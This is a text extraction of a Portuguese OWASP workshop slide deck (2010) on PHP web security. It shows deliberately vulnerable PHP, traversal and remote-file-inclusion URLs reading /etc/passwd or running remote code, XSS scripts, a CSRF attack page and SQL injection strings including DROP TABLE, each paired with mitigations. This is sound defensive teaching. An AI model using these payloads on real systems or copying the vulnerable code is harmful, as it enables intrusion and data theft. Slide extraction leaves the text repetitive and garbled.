OWASP@ ISCTE-IUL, Segurança em PHP

1

OWASP @ ISCTE-IUL
Workshop de Segurança Aplicacional

Segurança em PHP

Joaquim Marques - EST

Abril 2010

Aplicações Web - problemas
No Início
- Protocolo HTTP /browsers desenhados para permuta de documentos,
- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
- Segurança das aplicações deixada para segundo plano.

OWASP @ ISCTE-IUL
Abril 2010

Aplicações Web - problemas
No Início
- Protocolo HTTP /browsers desenhados para permuta de documentos,
- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
- Segurança das aplicações deixada para segundo plano.

Actualidade
- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
- Dificuldade em criar aplicações razoavelmente seguras
-Segurança é dispendiosa (análise de risco)
- Segurança dificulta a usabilidade

OWASP @ ISCTE-IUL
Abril 2010

3

http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf
2005 CSI/FBI Annual Computer Crime and Security Survey

Abril 2010

4

CAPÍTULO II
Dos crimes ligados à informática
Artigo 3º - Falsidade informática
Pena de prisão
Artigo 4º - Dano relativo a programas ou outros dados Informáticos
Artigo 5º - Sabotagem informática
Artigo 6º - Acesso ilegítimo
Artigo 7º - Intercepção ilegítima

Abril 2010

5

Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
- negação de serviço,
- assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados

Abril 2010

5

Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
- negação de serviço,
- assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados

Ameaças – O que fazer
< Monitorização: saber o que aconteceu.
< Deteccão: saber quando fui atacado.
< Prevenção parar os ataques antes de terem sucesso.
< Avaliação: descobrir os problemas primeiro que os atacantes

Abril 2010

6

Firewall de rede

OWASP @ ISCTE-IUL
Abril 2010

6

Firewall de rede

Exploração de
vulnerabilidades
através:
- Web servers
- Database servers
- Web Application Servers

OWASP @ ISCTE-IUL
Abril 2010

8

- TOP 10 vulnerabilidades de aplicações Web 2010

Abril 2010

9

PHP – tipos de vulnerabilidades mais explorados

PHP Remote File Include:
Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da
funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores
influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite:
Execução de código remoto
Instalação de rootkits
Compromisso do sistema
SQL Injection:
As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As
injecções SQL permitem ao atacante:
Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o
próprio sistema.
Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir
ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos
inapropriados sem o saber (XSRF).

Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu
consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela
utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm.

http://www.sans.org/top20/#s1
Abril 2010

10

PHP – cuidados básicos
- verificar configuração do servidor Web/PHP
- validar Input do utilizador

Solução
Auditoria(s)
- ao servidor e aplicações
Hábitos de programação segura
Testes ao código

Abril 2010

11

Ferramentas
PhpSecInfo PHP SecAudit –Dan Lefree

Alteração directivas
php.ini (se for administrador)
.htaccess php_flag directive value
ini_set()
Abril 2010

12

Regra básica
Nunca confiar no “Input” dos utilizadores
Origem input
-Campos de formulário
-Dados $_GET, $_POST, $_REQUEST
-Cookies ($_COOKIES)
-Dados de Web services
-Ficheiros
-Variáveis de servidor
(ex:. $_SERVER['SERVER_NAME'])
-Variáveis de ambiente
-Resultados de querys a BD’s

Abril 2010

12

Regra básica
Filtragem e validação de dados em PHP
Ferramentas e funções tradicionais
Ferramentas standard (extensão filter-> PHP 5.2)
funções que testam, validam e filtram o input dos utilizadores

Abril 2010

12

Regra básica
FILTER_SANITIZE_STRING "string"
FILTER_VALIDATE_INT "int"
FILTER_SANITIZE_STRIPPED "stripped"
FILTER_VALIDATE_BOOLEAN "boolean"
FILTER_SANITIZE_ENCODED "encoded"
FILTER_VALIDATE_FLOAT "float"
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP "validate_regexp"
FILTER_SANITIZE_EMAIL "email"
FILTER_VALIDATE_URL "validate_url"
FILTER_SANITIZE_URL "url"
FILTER_VALIDATE_EMAIL "validate_email"
FILTER_SANITIZE_NUMBER_INT "number_int"
FILTER_VALIDATE_IP "validate_ip"
FILTER_SANITIZE_NUMBER_FLOAT "number_float"
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
FILTER_CALLBACK "callback"

Abril 2010

12

Regra básica
FILTER_SANITIZE_STRING "string"
FILTER_VALIDATE_INT "int"
FILTER_SANITIZE_STRIPPED "stripped"
FILTER_VALIDATE_BOOLEAN "boolean"
FILTER_SANITIZE_ENCODED "encoded"
FILTER_VALIDATE_FLOAT "float"
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP "validate_regexp"
FILTER_SANITIZE_EMAIL "email"
FILTER_VALIDATE_URL "validate_url"
FILTER_SANITIZE_URL "url"
FILTER_VALIDATE_EMAIL "validate_email"
FILTER_SANITIZE_NUMBER_INT "number_int"
FILTER_VALIDATE_IP "validate_ip"
FILTER_SANITIZE_NUMBER_FLOAT "number_float"
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
FILTER_CALLBACK "callback"
Funções de filtragem
filter_var ( $variable [, $filter [,$options ]] )
filter_input ( $type , $variable_name [, $filter [, $options ]] )
….
Abril 2010

13

Owasp ESAPI(enterprise security API) for PHP
http://code.google.com/p/owasp-esapi-php/

PHP – níveis múltiplos de filtragem de dados

Abril 2010

14

Precauções básicas em PHP
• restrição no acesso a phpinfo(),
-> disable_functions =phpinfo
• utilize ligações seguras SSL
• utilize ficheiros e directórios ocultos/privados
• “cuidados” com a configuração do PHP
• listagem/reporting de erros
• register_globals
• safe_mode
• “cuidados” com os privilégios na administração das BD´s
• “cuidados” com os ficheiros de instalação/config das aplicações

Abril 2010

14

<?php
echo "---";
• utilize ligações seguras SSL //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito
• listagem/reporting de erros ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
• register_globals ini_set('error_log', '../logs/error_log');
• safe_mode ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações ?>

Abril 2010

14

<?php
echo "---";
• utilize ligações seguras SSL //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito
• listagem/reporting de erros ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
• register_globals ini_set('error_log', '../logs/error_log');
• safe_mode ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações ?>

<?
//ini_set('register_globals', 'Off'); sem qq efeito
//$auth=0;
if ($password == "chave") {
$auth = 1;
}
if ($auth == 1) {
echo "acesso permitido";
} else {
echo "acesso recusado";
} Abril 2010
?>

15

a)- Spoofing do endereço de e-mail
To: $recipient
Subject: $subject
mail($recipient,$subject,$message,$headers) $headers
$message
<html>
<body> <form method='POST'
<?php action='php_email_injectiona.php'>
//php_email_injectiona Para: @example.com <br />
ini_set("SMTP","mail.est.ipcb.pt"); De: <input name='email' type='text' /> <br />
ini_set("sendmail_from",“marques@est.ipcb.pt"); Assunto: <input name='assunto' type='text' /><br />
Message:<br />
if (isset($_POST['email'])){ <textarea name='mensagem' rows='10' cols='40'>
$email = $_POST['email'] ; </textarea><br />
$assunto = $_POST['assunto'] ; <input type='submit' name='enviar' value='enviar'/>
$mensagem = $_POST['mensagem'] ; </form>
<?php
if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){; }
echo "Obrigado por enviar o email"; ?>
} </body></html>
}else{
?>

Abril 2010

15

To: $recipient
Subject: $subject
$message

Abril 2010

15

To: $recipient
Subject: $subject
$message

function spamcheck($field){
if(eregi("to:",$field) || eregi
("cc:",$field)) {
return TRUE;
Php_email_injection_a.php } else {
return FALSE;
}
} Abril 2010

16

b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
<?php
//php_include.php
echo "PHP_Include()";
include($_GET['fich']);
?>
D.
T.

Abril 2010

16

<?php http://localhost/php_include.php?fich=teste.txt
//php_include.php
?>
D.
T.

Abril 2010

16

//php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini
?>
D.
T.

Abril 2010

16

include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd
?>
D.
T.

Abril 2010

16

?> http://localhost/php_include.php?fich=../../../etc/passwd
D.
T.

Abril 2010

16

D.
T. Solução:
<?php
//php_include_sec.php
echo"PHP_Include() -exemplo ataque <br>";
include(basename(realpath($_GET['fich'])));
?>

Abril 2010

16

D.
T. Solução alternativa
Solução:
<?php
//php_include_sec.php
?>

Abril 2010

16

D.
Solução:
<?php Safemode=on
//php_include_sec.php Open_basedir=/path
?>

R.
I.

Abril 2010

16

D.
Solução:
<?php Safemode=on
?>

ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
<?php
//php_include1.php –colocar no site atacante
R. print "<pre>";
I. passthru("dir");
print "</pre>";
?>

Abril 2010

16

D.
Solução:
<?php Safemode=on
?>

<?php
R. print "<pre>";
I. passthru("dir");
print "</pre>"; http://localhost/security/php_include.php?fich=http://
?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec

Abril 2010

16

D.
Solução:
<?php Safemode=on
?>

<?php
R. print "<pre>";
I. passthru("dir");
print "</pre>"; http://localhost/security/php_include.php?fich=http://
?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec

Safe_mode=off
Funciona com Allow_url_include=on
Allow_url_fopen=on Abril 2010

17

c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
echo "o seguinte ficheiro foi transferido correctamente <br>";
echo "Name: ".$_FILES['fich']['name']."<br>";
//print_r($_FILES);
//} else {
// echo "<br><br>";
// echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
//}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

Abril 2010

18

c)- Upload de ficheiros
<?php
//fich_upload1.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" &&
$_FILES['fich']['size']<150000) {
move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
echo "o seguinte ficheiro foi transferido correctamente <br>";
echo "Name: ".$_FILES['fich']['name']."<br>";
print_r($_FILES);
} else {
echo "<br><br>";
echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>";
}
}else{
?>
<form name="form" method="POST" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

Abril 2010

19

d:) Fixação de sessões

<?php 1 - Eliminar cookies (ver session.save_path)
//php_session1.php - http://host/php_session1.php?PHPSESSID=123456789
session_start();
2- a partir de outro computador
$_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789
$_SESSION['password']='aeiou';
?>

Abril 2010

19


session_start();
?>

solução --session_regenerate_id()

Abril 2010

19


session_start();
?>

solução --session_regenerate_id()

………..
if(!isset($_SESSION['SERVER_GENERATED_SID'])) {
//destruir todos as sessões
session_destroy();
} --Verificar se as sessões foram criadas pelo servidor web
// gera um novo identificador de sessão
session_regenerate_id( );
$_SESSION['SERVER_GENERATED_SID']=true;
……..

Abril 2010

20

e) Sequestro de sessões (session Hijacking)

Verificação extra
(mudança de browser no
utilizador)

Solução – utilização de tokens Abril 2010

20

e) Sequestro de sessões (session Hijacking)
compara o valor do HTTP_USER_AGENT do
browser com o do servidor Web

<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] !=
Verificação extra md5($_SERVER['HTTP_USER_AGENT']))
(mudança de browser no
{
utilizador) /*PEDIDO de PASSWORD/
exit;
}
}
else
{
$_SESSION['HTTP_USER_AGENT'] =
md5($_SERVER['HTTP_USER_AGENT']);
}
?>

Solução – utilização de tokens Abril 2010

21

f) - Formulários Spoofed (falsificados)

Abril 2010

21

f) - Formulários Spoofed (falsificados)
//Formulario.htm
<html><head> </head> <body>
<form action="processar.php" method="post"> //processar.php
<p>Marca</p>
<select name="marca"> <?php
<option value="Ford">Ford</option> $cor=$_REQUEST['cor'];
<option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca'];
<option value="Renault">Renault</option> echo "marca - ". $marca."<br>";
<option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>";
</select> ?>
<p>cor</p>
<select name="cor">
<option value="branco">Branco</option>
<option value="verde">Verde</option>
<option value="azul">Azul</option>
</select>
<input type="submit">
</form></body> </html>

Abril 2010

21

f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
method="POST">
<p>Marca</p>
<select name=“marca">
<option value="Anzol">Carro da marca Anzol</option>
//processar.php
<option value="Chaço">Carro da marca Chaço</option>
</select> <?php
<p>cor</p> $cor=$_REQUEST['cor'];
<input type="text" name="cor" />
$marca=$_REQUEST['marca'];
<input type="submit" echo "marca - ". $marca."<br>";
/>
</form> echo "cor - ".$cor."<br>";
?>
Colocar no site do atacante
(fazendo as alterações adequadas)
Formulario_spoof.htm

Abril 2010

21

f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
method="POST">
<p>Marca</p>
<select name=“marca">
<option value="Anzol">Carro da marca Anzol</option>
//processar.php
<option value="Chaço">Carro da marca Chaço</option>
</select> <?php
<p>cor</p> $cor=$_REQUEST['cor'];
<input type="text" name="cor" />
$marca=$_REQUEST['marca'];
<input type="submit" echo "marca - ". $marca."<br>";
/>
</form> echo "cor - ".$cor."<br>";
?>
Colocar no site do atacante
(fazendo as alterações adequadas)
Formulario_spoof.htm

Solução
<?php
$markk=array ('Ford','Renault','Peugeot', ‘Mercedes’);
if (in_array($marca, $markk)) {
//ok executa código em processar.php
} else{
die ("continue tentando ...eheheh");
}
?>
Abril 2010

22

g) XSS - Cross Site Scripting

//form1.htm
<form action="processar.php" method="POST">
<p>marca</p>
<select name="marca">
<option value="Ford">Ford</option>
<option value="Peugeot">Peugeot</option> //processar.php
<option value="Renault">Renault</option> <?php
<option value="Mercedes">Mercedes</option> $cor=$_REQUEST['cor'];
</select> $marca=$_REQUEST['marca'];
<p>cor</p> echo "marca - ". $marca."<br>";
<input type="text" name="cor" /> echo "cor - ".$cor."<br>";
<input type="submit" /> //ligar a BD e inserir a escolha
?>
</form>

Abril 2010

22

1) <script> alert ('Ataque XSS')</script>

Abril 2010

22

2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>

Abril 2010

22

3) <script>document.location="http://www.php.net";</script>

Abril 2010

22

3) <script>document.location="http://www.php.net";</script>

Solução
html_entities()
strip_tags() Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php

Abril 2010

23



Atacante

Abril 2010

23


http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23

Atacante

Abril 2010

24


Atacante – desenvolve o script e coloca-o num servidor
//csrf_ataque.html
<html>
<head>
<title>CSRF ATAQUE</title>
</head>
<body>
<a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
%20crackados&Quantidade=23"><img
style="border: 0px solid ; width: 115px; height: 61px;"
alt="XSRF" src="php-med-trans.png"></a>
</body>
</html>

Abril 2010

24


Atacante – desenvolve o script e coloca-o num servidor
//csrf_ataque.html
<html>
<head>
<title>CSRF ATAQUE</title>
</head>
<body>
<a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
%20crackados&Quantidade=23"><img
style="border: 0px solid ; width: 115px; height: 61px;"
alt="XSRF" src="php-med-trans.png"></a>
</body>
</html>

Solução
-Colocar tokens que se propaguem na aplicação

Abril 2010

25

i) SQL injection
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php

Abril 2010

25

i) SQL injection
1’ or ‘1’=‘1
%
' or 1=1 –
......

Abril 2010

25

i) SQL injection
1’ or ‘1’=‘1
%
' or 1=1 –
......

“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”

Abril 2010

25

i) SQL injection
1’ or ‘1’=‘1
%
' or 1=1 –
......

Activar selecção nome +password em
Aplicar em nome
‘ or 1=1 –
xxx; Drop table -- !!!

Abril 2010

25

i) SQL injection
1’ or ‘1’=‘1
%
' or 1=1 –
......
SQL_Inject_me

Activar selecção nome +password em
Aplicar em nome
‘ or 1=1 –
xxx; Drop table -- !!!

Abril 2010

26

i) SQL injection - Solução
Limitar comprimento dos campos no formulário:

Abril 2010

26

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>

Abril 2010

26


Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….

Abril 2010

26


settype()
strlen()
strtotime()
….

Limitar a utilização de caracteres/expressões SQL

Abril 2010

26


settype()
strlen()
strtotime()
….


Efectuar o “escaping” de variáveis

Abril 2010

26


settype()
strlen()
strtotime()
….


sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

Ex: php_sqlinjection_sel1a.php  activar escaping

Abril 2010

26


settype()
strlen()
strtotime()
….


sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

Ex: php_sqlinjection_sel1a.php  activar escaping
Utilizar declarações (SQL)
EX: script php_sqlinjection_sel1.php

Abril 2010

27

Segurança como um todo – o que fazer?

Como proteger das vulnerabilidades PHP?

Do ponto de vista do administrador do sistema:

Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO),
Teste as aplicações sempre que use novas versões do PHP,
Faça um scanning às aplicações em uso,
Considere a utilização da seguinte configuração em PHP:
register_globals (deve estar off),
allow_url_fopen (deve estar off),
magic_quotes_gpc (deve estar off),
open_basedir (deve estar on e configurada correctamente),

Abril 2010

28

Segurança como um todo – o que fazer?

Como proteger das vulnerabilidades PHP ?
Do ponto de vista do programador:
Migrar urgentemente a aplicação para PHP 5.2 ou superior .
Para evitar as questões anteriores:
Programar com a última versão do PHP e com configuração “hardned”
Validar todo o input de acordo com o tipo de variável atribuída
Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS
Migrar o interface de dados para PDO
Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros
Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant

Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1

Abril 2010

OWASP@ ISCTE-IUL, Segurança em PHP

Mais conteúdo relacionado

Destaque

Semelhante a OWASP@ ISCTE-IUL, Segurança em PHP

Mais de Carlos Serrao

OWASP@ ISCTE-IUL, Segurança em PHP